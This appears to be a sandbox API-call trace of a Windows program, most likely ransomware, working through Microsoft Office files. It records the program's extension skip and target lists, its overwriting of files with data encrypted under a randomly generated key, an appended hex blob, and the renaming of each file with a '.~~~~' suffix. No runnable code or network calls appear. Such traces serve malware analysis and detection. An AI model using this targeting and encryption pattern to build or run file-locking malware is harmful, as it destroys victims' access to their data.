	[0136.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".dll") returned 0x0
	[0136.691] lstrlenW (lpString=".bat") returned 4
	[0136.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".bat") returned 0x0
	[0136.692] lstrlenW (lpString=".cpl") returned 4
	[0136.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".cpl") returned 0x0
	[0136.692] lstrlenW (lpString=".sys") returned 4
	[0136.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".sys") returned 0x0
	[0136.692] lstrlenW (lpString=".msc") returned 4
	[0136.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".msc") returned 0x0
	[0136.692] lstrlenW (lpString=".com") returned 4
	[0136.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".com") returned 0x0
	[0136.692] lstrlenW (lpString=".lnk") returned 4
	[0136.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".lnk") returned 0x0
	[0136.692] lstrlenW (lpString=".msp") returned 4
	[0136.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".msp") returned 0x0
	[0136.692] lstrlenW (lpString=".pif") returned 4
	[0136.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".pif") returned 0x0
	[0136.692] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0136.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0136.695] lstrlenW (lpString=".sqb") returned 4
	[0136.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".sqb") returned 0x0
	[0136.695] lstrlenW (lpString=".ost") returned 4
	[0136.695] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".ost") returned 0x0
	[0136.695] lstrlenW (lpString=".txt") returned 4
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".txt") returned 0x0
	[0136.696] lstrlenW (lpString=".mdt") returned 4
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".mdt") returned 0x0
	[0136.696] lstrlenW (lpString=".BDB") returned 4
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".BDB") returned 0x0
	[0136.696] lstrlenW (lpString=".eql") returned 4
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".eql") returned 0x0
	[0136.696] lstrlenW (lpString=".DBF") returned 4
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".DBF") returned 0x0
	[0136.696] lstrlenW (lpString=".EQL") returned 4
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".EQL") returned 0x0
	[0136.696] lstrlenW (lpString=".FDB") returned 4
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".FDB") returned 0x0
	[0136.696] lstrlenW (lpString=".EDB") returned 4
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".EDB") returned 0x0
	[0136.696] lstrlenW (lpString=".DACPAC") returned 7
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".DACPAC") returned 0x0
	[0136.696] lstrlenW (lpString=".VHD") returned 4
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".VHD") returned 0x0
	[0136.696] lstrlenW (lpString=".DBV") returned 4
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".DBV") returned 0x0
	[0136.696] lstrlenW (lpString=".dacpac") returned 7
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".dacpac") returned 0x0
	[0136.696] lstrlenW (lpString=".sdf") returned 4
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".sdf") returned 0x0
	[0136.696] lstrlenW (lpString=".accdb") returned 6
	[0136.696] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".accdb") returned 0x0
	[0136.697] lstrlenW (lpString=".DBX") returned 4
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".DBX") returned 0x0
	[0136.697] lstrlenW (lpString=".MDT") returned 4
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".MDT") returned 0x0
	[0136.697] lstrlenW (lpString=".SQB") returned 4
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".SQB") returned 0x0
	[0136.697] lstrlenW (lpString=".vhd") returned 4
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".vhd") returned 0x0
	[0136.697] lstrlenW (lpString=".bac") returned 4
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".bac") returned 0x0
	[0136.697] lstrlenW (lpString=".mdf") returned 4
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".mdf") returned 0x0
	[0136.697] lstrlenW (lpString=".BAK") returned 4
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".BAK") returned 0x0
	[0136.697] lstrlenW (lpString=".BAC") returned 4
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".BAC") returned 0x0
	[0136.697] lstrlenW (lpString=".dbs") returned 4
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".dbs") returned 0x0
	[0136.697] lstrlenW (lpString=".vhdx") returned 5
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".vhdx") returned 0x0
	[0136.697] lstrlenW (lpString=".NDF") returned 4
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".NDF") returned 0x0
	[0136.697] lstrlenW (lpString=".dat") returned 4
	[0136.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".dat") returned 0x0
	[0136.697] lstrlenW (lpString=".DBS") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".DBS") returned 0x0
	[0136.698] lstrlenW (lpString=".CKP") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".CKP") returned 0x0
	[0136.698] lstrlenW (lpString=".edb") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".edb") returned 0x0
	[0136.698] lstrlenW (lpString=".PST") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".PST") returned 0x0
	[0136.698] lstrlenW (lpString=".dbf") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".dbf") returned 0x0
	[0136.698] lstrlenW (lpString=".SQL") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".SQL") returned 0x0
	[0136.698] lstrlenW (lpString=".pst") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".pst") returned 0x0
	[0136.698] lstrlenW (lpString=".dbv") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".dbv") returned 0x0
	[0136.698] lstrlenW (lpString=".SDF") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".SDF") returned 0x0
	[0136.698] lstrlenW (lpString=".dtxs") returned 5
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".dtxs") returned 0x0
	[0136.698] lstrlenW (lpString=".db3") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".db3") returned 0x0
	[0136.698] lstrlenW (lpString=".OST") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".OST") returned 0x0
	[0136.698] lstrlenW (lpString=".dbx") returned 4
	[0136.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".dbx") returned 0x0
	[0136.699] lstrlenW (lpString=".DB3") returned 4
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".DB3") returned 0x0
	[0136.699] lstrlenW (lpString=".DAT") returned 4
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".DAT") returned 0x0
	[0136.699] lstrlenW (lpString=".VHDX") returned 5
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".VHDX") returned 0x0
	[0136.699] lstrlenW (lpString=".ndf") returned 4
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".ndf") returned 0x0
	[0136.699] lstrlenW (lpString=".DB") returned 3
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".DB") returned 0x0
	[0136.699] lstrlenW (lpString=".sql") returned 4
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".sql") returned 0x0
	[0136.699] lstrlenW (lpString=".MYD") returned 4
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".MYD") returned 0x0
	[0136.699] lstrlenW (lpString=".DBT") returned 4
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".DBT") returned 0x0
	[0136.699] lstrlenW (lpString=".ACCDB") returned 6
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".ACCDB") returned 0x0
	[0136.699] lstrlenW (lpString=".fdb") returned 4
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".fdb") returned 0x0
	[0136.699] lstrlenW (lpString=".bak") returned 4
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".bak") returned 0x0
	[0136.699] lstrlenW (lpString=".myd") returned 4
	[0136.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".myd") returned 0x0
	[0136.699] lstrlenW (lpString=".DTXS") returned 5
	[0136.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".DTXS") returned 0x0
	[0136.700] lstrlenW (lpString=".ckp") returned 4
	[0136.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".ckp") returned 0x0
	[0136.700] lstrlenW (lpString=".dbt") returned 4
	[0136.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".dbt") returned 0x0
	[0136.700] lstrlenW (lpString=".db") returned 3
	[0136.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".db") returned 0x0
	[0136.700] lstrlenW (lpString=".TXT") returned 4
	[0136.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".TXT") returned 0x0
	[0136.700] lstrlenW (lpString=".MDF") returned 4
	[0136.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".MDF") returned 0x0
	[0136.700] lstrlenW (lpString=".bdb") returned 4
	[0136.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".bdb") returned 0x0
	[0136.700] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0136.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0136.700] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394860) returned 1
	[0136.701] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0136.702] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0136.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0136.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.702] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25669202762) returned 1
	[0136.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbaec9190, dwHighDateTime=0x1d60e1e)) 
	[0136.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4e40
	[0136.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4e40 | out: hHeap=0x300000) returned 1
	[0136.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0136.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.703] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0136.703] GetLastError () returned 0x0
	[0136.703] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0136.703] GetLastError () returned 0x0
	[0136.729] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffeb680, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.729] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x14980, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x14980, lpOverlapped=0x0) returned 1
	[0136.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.730] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.730] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.730] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.730] CloseHandle (hObject=0x114) returned 1
	[0136.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x394a80
	[0136.836] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.~~~~")) returned 1
	[0136.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x394a80 | out: hHeap=0x300000) returned 1
	[0136.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.839] GetLastError () returned 0x0
	[0136.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".scr") returned 0x0
	[0136.840] lstrlenW (lpString=".cmd") returned 4
	[0136.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".cmd") returned 0x0
	[0136.840] lstrlenW (lpString=".dll") returned 4
	[0136.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".dll") returned 0x0
	[0136.840] lstrlenW (lpString=".bat") returned 4
	[0136.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".bat") returned 0x0
	[0136.840] lstrlenW (lpString=".cpl") returned 4
	[0136.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".cpl") returned 0x0
	[0136.840] lstrlenW (lpString=".sys") returned 4
	[0136.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".sys") returned 0x0
	[0136.840] lstrlenW (lpString=".msc") returned 4
	[0136.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".msc") returned 0x0
	[0136.841] lstrlenW (lpString=".com") returned 4
	[0136.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".com") returned 0x0
	[0136.841] lstrlenW (lpString=".lnk") returned 4
	[0136.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".lnk") returned 0x0
	[0136.841] lstrlenW (lpString=".msp") returned 4
	[0136.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".msp") returned 0x0
	[0136.841] lstrlenW (lpString=".pif") returned 4
	[0136.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".pif") returned 0x0
	[0136.841] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0136.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0136.843] lstrlenW (lpString=".sqb") returned 4
	[0136.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".sqb") returned 0x0
	[0136.843] lstrlenW (lpString=".ost") returned 4
	[0136.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".ost") returned 0x0
	[0136.843] lstrlenW (lpString=".txt") returned 4
	[0136.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".txt") returned 0x0
	[0136.843] lstrlenW (lpString=".mdt") returned 4
	[0136.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".mdt") returned 0x0
	[0136.843] lstrlenW (lpString=".BDB") returned 4
	[0136.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".BDB") returned 0x0
	[0136.844] lstrlenW (lpString=".eql") returned 4
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".eql") returned 0x0
	[0136.844] lstrlenW (lpString=".DBF") returned 4
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".DBF") returned 0x0
	[0136.844] lstrlenW (lpString=".EQL") returned 4
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".EQL") returned 0x0
	[0136.844] lstrlenW (lpString=".FDB") returned 4
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".FDB") returned 0x0
	[0136.844] lstrlenW (lpString=".EDB") returned 4
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".EDB") returned 0x0
	[0136.844] lstrlenW (lpString=".DACPAC") returned 7
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0136.844] lstrlenW (lpString=".VHD") returned 4
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".VHD") returned 0x0
	[0136.844] lstrlenW (lpString=".DBV") returned 4
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".DBV") returned 0x0
	[0136.844] lstrlenW (lpString=".dacpac") returned 7
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0136.844] lstrlenW (lpString=".sdf") returned 4
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".sdf") returned 0x0
	[0136.844] lstrlenW (lpString=".accdb") returned 6
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".accdb") returned 0x0
	[0136.844] lstrlenW (lpString=".DBX") returned 4
	[0136.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".DBX") returned 0x0
	[0136.844] lstrlenW (lpString=".MDT") returned 4
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".MDT") returned 0x0
	[0136.845] lstrlenW (lpString=".SQB") returned 4
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".SQB") returned 0x0
	[0136.845] lstrlenW (lpString=".vhd") returned 4
	[0136.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXT", lpSrch=".vhd") returned 0x0
	[0136.845] lstrlenW (lpString=".bac") returned 4
